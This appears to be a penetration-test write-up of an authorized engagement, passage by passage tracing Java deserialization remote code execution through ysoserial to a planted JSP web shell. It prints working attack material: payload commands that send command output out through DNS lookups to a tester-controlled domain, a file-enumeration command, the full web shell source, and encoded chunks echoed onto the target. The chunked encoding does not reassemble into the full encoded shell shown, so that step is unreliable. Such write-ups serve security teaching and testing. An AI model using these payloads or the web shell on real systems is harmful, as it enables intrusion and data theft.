The Attack Path

From a verbose error message to a foothold in a secure server environment.

Enumeration

A key step in web application testing is enumerating the application's available endpoints. This process attempts to discover content and capture the application's response for each request to a given endpoint. Using this technique from an unauthenticated perspective, one endpoint provided a verbose error message revealing the "serDoc" parameter is missing:

By appending the "serDoc" parameter to the original request and specifying an arbitrary value of "a", the endpoint responded again with a new message:

We noted three main items of interest from these initial error messages:

  1. "java.lang.ArrayIndexOutOfBoundsException: 1"

  2. "Base64.decode"

  3. "decodeAndUnzip"

The first item required additional testing to understand, and the other two items provided context that was useful later in the test.

Fuzzing

Application fuzzing is a technique to transmit specific data sets to a specific positional index in a given HTTP request. This allows thousands of requests to be quickly sent to a desired endpoint. Since the error message mentioned an "Array Index Out Of Bounds Exception", we focused fuzzing on a large set of integers to identify the index length the application expected. Using Burp Suite's Intruder function, we sent the numbers 1-50,000 to the endpoint to see if new responses or errors could be seen.

With integers sent in multiples of four, a new error message indicated the application is using the Adobe LiveCycle Forms Designer and that the zipping format is GZIP (error: "Not in GZIP format").

While fuzzing, we reviewed previous requests and responses to the endpoint, searching for an example of how this endpoint is used in the normal function of the web application. Since we were focused on a single endpoint, finding a valid parameter was relatively easy.

Elements of the valid parameter have been modified to protect client confidentiality while still providing an example of the encoding used.

Object Encoding

At first glance, the object type and encoding for the serDoc parameter is not immediately obvious. Looking back at the information collected from the different error messages and the valid parameter, we identified the object was likely a Java object using a combination of GZIP, Base64, and URL encoding. After a few combinations, we identified the correct order for the encoding methods by decoding the valid parameter.

Elements of the valid parameter have been modified to protect client confidentiality while still providing an example of the encoding used.

The encoding combination that the application expected was a Java serialized object compressed with GZIP, Base64 encoded, and then URL encoded. In this case, the decoding of the valid parameter yielded string information that clearly identified the object as a Java serialized object; however, if we hadn't already known, the first two hexadecimal bytes clearly identify the object as a Java serialized object: AC ED.

Building a Payload

With the object and encoding correctly identified, we used a more targeted scanner to evaluate the application endpoint for vulnerabilities: the Java Deserialization Scanner plugin for Burp Suite, created by Federico Dotta. Note that this plugin relies on a slightly modified version of ysoserial, so using the standard version of ysoserial by Chris Frohoff may yield slightly different results than the plugin.

By specifying the correct encoding sequence, the scanner used the sleep method to identify the endpoint as potentially vulnerable for Java 6 and Java 7 (up to Jdk7u21).

Using the Federicodotta fork of ysoserial to create a payload, we verified blind OS execution by appending the $SHELL environment variable to a DNS lookup against a name server we controlled.

The previous figures show:

  1. Creating a payload for the Jdk7u21 library that passed the command nslookup $SHELL.a.finansbilgin.com to the OS

  2. Using Burp Suite to send the payload to the endpoint

  3. The command tcpdump -n port 53 listening on the name server we controlled (a.finansbilgin.com), observing name resolution requests from the target system

The Payload In-Depth

To exploit this vulnerability, it isn't necessary to completely understand how the ysoserial tool exploits the Java library; however, Chris Frohoff provides an outstanding explanation in his Github gist on the Jdk7u21 library vulnerability.

In short, Java programs automatically instantiate associated Java classes when a serialized object is deserialized. The Jdk7u21 Java library contains a vulnerability that allows an adversary to pass commands to the operating system by cleverly chaining together Java gadget classes.

The ysoserial tool chains together the appropriate gadget classes, inserts the specified OS commands, and compiles the output into a Java serialized object. A snippet of the resulting binary gives some insight into what a serialized object payload looks like.

RCE Achieved

Eliciting a DNS query appended with environment variables successfully demonstrated RCE at the OS level; however, as penetration testers, our job is to demonstrate the impact of such a vulnerability. With that in mind, the standard next step is to achieve an interactive shell on the vulnerable system.

Identify Egress Options

With the goal of gaining an interactive shell on the system, we had to first assess the egress options.

The initial payload had already confirmed that recursive DNS was an egress option. We chose DNS interaction for the initial payload since DNS is typically the most likely to succeed. Even in environments with strict egress controls, DNS interactions can typically be observed because the recursive nature of DNS allows an endpoint to communicate with the adversary-controlled name server indirectly. Even if the target system is restricted from accessing the internet, it can send DNS requests to its primary DNS server, which can in turn communicate with another DNS server, so on and so forth until the request reaches the adversary-controlled name server.

Initial constraints:

  • The exploit was blind OS execution: except in the case of appending output to a DNS query, we could not see the result of any commands.

  • We had to be careful to only send commands that would complete without user interaction. For instance, if we sent a ping command to a Linux device without the -c [number] flag, that would have caused a continuous ping until exited by terminal interaction. It was unclear if that would have caused the application to crash or prevented further execution until the system was restarted.

  • The serialized object could only be sent to the web application in the URL of a GET request.

  • The maximum character length that the web application would accept in the path was 2,048 characters.

  • The overhead required for the ysoserial payload meant that the maximum length of the OS commands passed was approximately 115 characters.

  • The maximum length of an ASCII character encoded DNS name is essentially 253 ASCII readable characters (including periods), with each subdomain consisting of no more than 63 characters, e.g. [63 ASCII].[63 ASCII].[63 ASCII].[61 ASCII].

Already known:

  • Based on the environment variables appended to the DNS queries and which payload was successful, we knew the operating system was Linux based.

  • The shell language was KornShell.

We attempted to initiate HTTP and HTTPS requests to our server using a variety of standard Linux command-line tools but were unsuccessful.

To mitigate the blind OS execution constraint, we began appending the output of complex commands to the DNS queries. When necessary, we used base64 encoding to pass special characters and the head/tail commands to read small snippets of output at a time.

Jdk7u21 "dig $(pwd).a.finansbilgin.com" exec_unix gzip,base64,url_encoding
Jdk7u21 "dig $(cat /etc/os-release | grep -i pretty | base64 ).a.finansbilgin.com" exec_unix gzip,base64,url_encoding
Jdk7u21 "dig $(ls ../../ | head -n 20 | tail -n 3 | base64 ).a.finansbilgin.com" exec_unix gzip,base64,url_encoding
Jdk7u21 "dig $(netstat | head -n 20 | tail -n 3 | base64 ).a.finansbilgin.com" exec_unix gzip,base64,url_encoding

After determining the user had the requisite rights to read and write files in the working directory, we passed the output from long commands into a file and used a second payload to read the output:

Jdk7u21 "find / -readable -writable > temp.txt" exec_unix gzip,base64,url_encoding
Jdk7u21 "dig $(cat temp.txt | grep -i \/var\/www | base64).a.finansbilgin.com" exec_unix gzip,base64,url_encoding

Using a variety of reconnaissance methods, we gathered the following key information:

  • Network controls restricted egress options

  • Network controls restricted inbound options

  • OS commands were executed in the context of a low-privileged user

  • The user had write permissions over a web directory that was accessible to unauthenticated users via a web browser.

Web shells are not our preferred method of creating an interactive shell on a compromised system because they can possibly introduce additional risk to the client. While unlikely, it is possible that an individual other than an authorized tester finds and uses the web shell. Given the constraints and additional mitigating controls, however, the client authorized the use of a web shell to demonstrate impact.

Creating a Web Shell

The next process required:

  1. A JSP web shell.

  2. Encoding the JSP web shell to pass special characters in the payload.

  3. Chunking the encoded text into sizes that fit within the payload length limitations.

  4. Sending multiple payloads to the endpoint that echo chunks of the JSP web shell into a file on the target system.

  5. Decoding the completed JSP web shell file on the system.

  6. Renaming the file extension to .JSP and moving the web shell to an accessible location.

JSP Web Shell

<%@ page import="java.util.*,java.io.*"%>
<%
Process p = Runtime.getRuntime().exec(request.getParameter("t"));
OutputStream os = p.getOutputStream();
InputStream in = p.getInputStream();
DataInputStream dis = new DataInputStream(in);
String disr = dis.readLine();
while ( disr != null ) {
	out.println(disr); 
	disr = dis.readLine(); 
}
%>

Encoding the JSP Web Shell

PCVAIHBhZ2UgaW1wb3J0PSJqYXZhLnV0aWwuKixqYXZhLmlvLioiJT4KPCUKUHJvY2VzcyBwID0gUnVudGltZS5nZXRSdW50aW1lKCkuZXhlYyhyZXF1ZXN0LmdldFBhcmFtZXRlcigidCIpKTsKT3V0cHV0U3RyZWFtIG9zID0gcC5nZXRPdXRwdXRTdHJlYW0oKTsKSW5wdXRTdHJlYW0gaW4gPSBwLmdldElucHV0U3RyZWFtKCk7CkRhdGFJbnB1dFN0cmVhbSBkaXMgPSBuZXcgRGF0YUlucHV0U3RyZWFtKGluKTsKU3RyaW5nIGRpc3IgPSBkaXMucmVhZExpbmUoKTsKb3V0LnByaW50bG4oZGlzcik7IApkaXNyID0gZGlzLnJlYWRMaW5lKCk7IAolPg==

Chunking the Encoded Text

PCVAIHBhZ2UgaW1wb3J0PSJqYXZhLnV0aWwuKixqYXZhLmlvLioiJT4KPCUKUHJvY2V
zcyBwID0gUnVudGltZS5nZXRSdW50aW1lKCkuZXhlYyhyZXF1ZXN0LmdldFBhcmFtZX
RlcigidCIpKTsKT3V0cHV0U3RyZWFtIG9zID0gcC5nZXRPdXRwdXRTdHJlYW0oKTsKS
W5wdXRTdHJlYW0gaW4gPSBwLmdldElucHV0U3RyZWFtKCk7CkRhdGFJbnB1dFN0cmVh
b

Sending Multiple Requests to the Endpoint

Jdk7u21 "echo -n PCVAIHBhZ2UgaW1wb3J0PSJqYXZhLnV0aWwuKixqYXZhLmlvLioiJT4KPCUKUHJvY2V > ts.txt" exec_unix gzip,base64,url_encoding
Jdk7u21 "echo -n zcyBwID0gUnVudGltZS5nZXRSdW50aW1lKCkuZXhlYyhyZXF1ZXN0LmdldFBhcmFtZX >> ts.txt" exec_unix gzip,base64,url_encoding
Jdk7u21 "echo -n RlcigidCIpKTsKT3V0cHV0U3RyZWFtIG9zID0gcC5nZXRPdXRwdXRTdHJlYW0oKTsKS >> ts.txt" exec_unix gzip,base64,url_encoding
Jdk7u21 "echo -n W5wdXRTdHJlYW0gaW4gPSBwLmdldElucHV0U3RyZWFtKCk7CkRhdGFJbnB1dFN0cmVh >> ts.txt" exec_unix gzip,base64,url_encoding
Jdk7u21 "echo -n b >> ts.txt" exec_unix gzip,base64,url_encoding

Decoding the File

Jdk7u21 "base64 -d ts.txt > tsd.txt" exec_unix gzip,base64,url_encoding

Renaming and Moving the File to an Accessible Location

Jdk7u21 "cp tsd.txt /--Redacted---/scripts/tsd3.jsp" exec_unix gzip,base64,url_encoding

Interactive Web Shell

Navigating to the new JSP web shell endpoint in a web browser provided an interactive shell.

End Game

With the interactive shell, we were no longer limited by the payload constraints. We successfully moved from a verbose error message, to blind RCE via serialized objects, to an interactive shell on the system.

With the interactive shell, we were able to demonstrate to the client the full extent of the breach, from establishing a foothold in their secure web enclave, to privilege escalation and lateral movement opportunities.

Last updated